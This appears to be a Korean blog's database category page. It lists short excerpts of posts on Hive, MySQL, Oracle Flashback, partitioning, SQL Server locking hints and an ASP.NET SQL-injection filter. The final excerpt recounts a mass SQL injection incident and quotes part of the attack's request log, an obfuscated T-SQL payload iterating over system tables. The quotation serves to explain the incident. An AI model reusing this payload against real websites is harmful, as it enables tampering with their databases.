본문 바로가기

db

hive lateral view 아래와 같은 hive의 테이블 데이터가 있다. name start_date end_date P 2017-10-11 2017-10-13 D 2017-10-11 2017-10-12 위 테이블의 start_date와 end_date의 데이터를 이용하여 사용자별로 해당 기간을 아래 표 처럼 row형태로 데이터를 추출하는 방법을 고민해보았으나 쉽지 않았다. name date P 2017-10-11 P 2017-10-12 P 2017-10-13 D 2017-10-11 D 2017-10-12 oracle이라면 connect by를 사용하거나 하면 해결이 될 것 같았는데 hive sql은 connect by가 지원하지 않더라.이것저것 찾다보니 hive lateral view라는 기능이 있어 해결한 방법을 공유한다. l.. 더보기
Hive GROUP_CONCAT Hive에서 GROUP_CONCAT를 사용하고자 한다면 아래와 같이 사용할 수 있다. 123SELECT GROUP_COL CONCAT_WS('|', COLLECT_SET(CONCAT_COL))FROM TABLE_NAMEGROUP BY GROUP_COLColored by Color Scriptercs 끝. 더보기
MySQL(MariaDB) 사분위수 구하기 특정 데이터 분포를 쉽게 확인할 수 있는 수치로는 최소값, 중간값, 평균값, 최대값 그리고 사분위수가 있다.사분위수는 데이터의 균등한 분할로 25%, 50%, 75%, 100%를 나타내며 1사분위수(1Q)는 25% 값에 해당한다. 사분위수를 알아내면 BOXPLOT과 같은 Chart를 통해 데이터 분포를 시각화 할 수 있을 것이다.아쉽게도 R과 같은 통계언어의 경우는 쉽게 사분위수를 구할 수 있으나 MySQL의 경우는 지원하는 내장함수가 존재하지않는다. 그래서 SQL를 통해 사분위수를 구할 수 있는 방법을 알아 보고자 한다. boxplot 해석을 돕기 위한 그림(출처) SET GROUP_CONCAT_MAX_LEN = 10485760; SELECT MIN(COLUMN_NAME) AS 'MIN', SUBSTR.. 더보기
Oracle FlashBack DB를 다루는 개발자라면 아래와 같은 경험을 한번쯤 경험해봤을 것이다. 특정조건을 만족할때 특정 컬럼을 변경할때... 혹은 특종조건을 만족할때 해당 로우를 삭제할때 쿼리를 작성한다면 아래와 같을 것이다. UPDATE TABLE SET C = 1 WHERE NUM = 1; DELETE FROM TABLE WHERE NUM = 1; 하지만 본인은 어제 술을 엄청먹어서 술도 안깬 상태에서 일은 엄청많다 스트레스도 엄청받고 있는 상태에서 해당 쿼리를 작성할 경우... 한번쯤 실수(?)를 할 수 있지 않을까? 아래와 같이 말이다. UPDATE TABLE SET C = 1; DELETE FROM TABLE; 물론 COMMIT을 하지 않았다면 ROLLBACK을 하면 되겠지만... 작성한 쿼리가 문제없는지 확인할세도 .. 더보기
DB 파티셔닝 원문 : http://www.zdnet.co.kr/news/news_view.asp?artice_id=00000039137247&type=det [지디넷코리아]근래에 많은 기업들의 데이터베이스가 대용량화 되면서 이를 효과적으로 관리할 수 있는 방안을 찾는 것이 관리자들의 주요 업무가 됐다. 이를 위한 매우 효과적인 방안 가운데 하나가 파티셔닝이다. 일반적으로 단순한 명령어 위주로만 알려져 있지만 실제 현장에서 접하는 파티셔닝의 효용은 그 이상이다. 익숙한 개념이지만 그동안 제대로 알지 못했던 파티셔닝의 의미와 대표적인 활용 사례를 살펴보자. 필자는 많은 현장 사이트에서 대용량의 가치 있는 데이터들이 놀라운 능력을 보유하고 있는 데이터베이스 안에서 사용자의 무지로 인해 방치돼 있거나 잘못 사용되고 있어 역.. 더보기
READPAST 그리고 WITH(NOLOCK) READPAST와 WITH(NOLOCK)의 차이를 확인 해보자. 테이블 : Table1 컬럼명 : C1, C2 데이터는 아래와 같다. ------------------------------------------ ROW | C1 | C2 ------------------------------------------ 1 | 0 | 1 ------------------------------------------ 2 | 0 | 2 Table1의 컬럼명 C2에서 데이터값이 ROW 1 대하여 C1컬럼의 데이터 "0"을 주기적(1초) 20초 동안 업데이트 하는 쿼리를 만들어보면 아래와 같다. DECLARE @I INT, @MAXNO INT SET @I=1 SET @MAXNO=20 BEGIN TRANSACTION WHI.. 더보기
SQL Injection Blocking 참고사이트 : http://forums.asp.net/t/1254125.aspx Global.asax의 Application_BeginRequest 메서드를 이용하여 모든 요청에 대하여 필터링 하는 예제 코드입니다. //연장준비 네임스페이스 추가 using System.Globalization; //Get, Post, Cookie까지 모두 필터링 protected void Application_BeginRequest(Object sender, EventArgs e) { foreach (string key in Request.QueryString) CheckInput(Request.QueryString[key], key); foreach (string key in Request.Form) CheckInpu.. 더보기
커서(CURSOR)를 TABLE변수로 변경 가끔 작업을 하다보면 커서를 사용해야 할 경우가 있다. 대표적인 경우가... 루프문을 사용해서 데이터를 추출하고 싶을 경우겠지요... 아닌가?? =_=; 나는 종종 커서를 사용해왔었다... 허나.. 커서 및 임시 테이블의 경우 최대한 자제를 해야 된다고... 어디선가 많이 본 기억이... 커서의 경우 서버 자원을 많이 낭비하게 되며 커서로 할 수 있는 건 임시 테이블이나 테이블 변수로도 모두 처리가 가능하단다... 그리하여 현재 회사프로젝트 커서사용부분을 모두 바꾸기로 결심... 사용데이터베이스 : PUBS 사용테이블 : TITLES 원하는 결과값은 (18 row(s) affected) But Is It User Friendly? | Computer Phobic AND Non-Phobic Individu.. 더보기
Mass SQL Injection 공격 이번 주말 내내 SQL Injection공격으로 인하여 주말내내 시달렸다.. ㅡ,.ㅡ; 처음으로 당해보는지라.. 보안에 지극히.. 문외한이였던 나는.. 또 하나를 배웠다. #스크립트 삽입 필드 #공격 로그 -GET(참고 : http://hacked.tistory.com/209) /server/oops.asp seq=26&page=1&searchkey=&search_text=&category=005001;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%2.. 더보기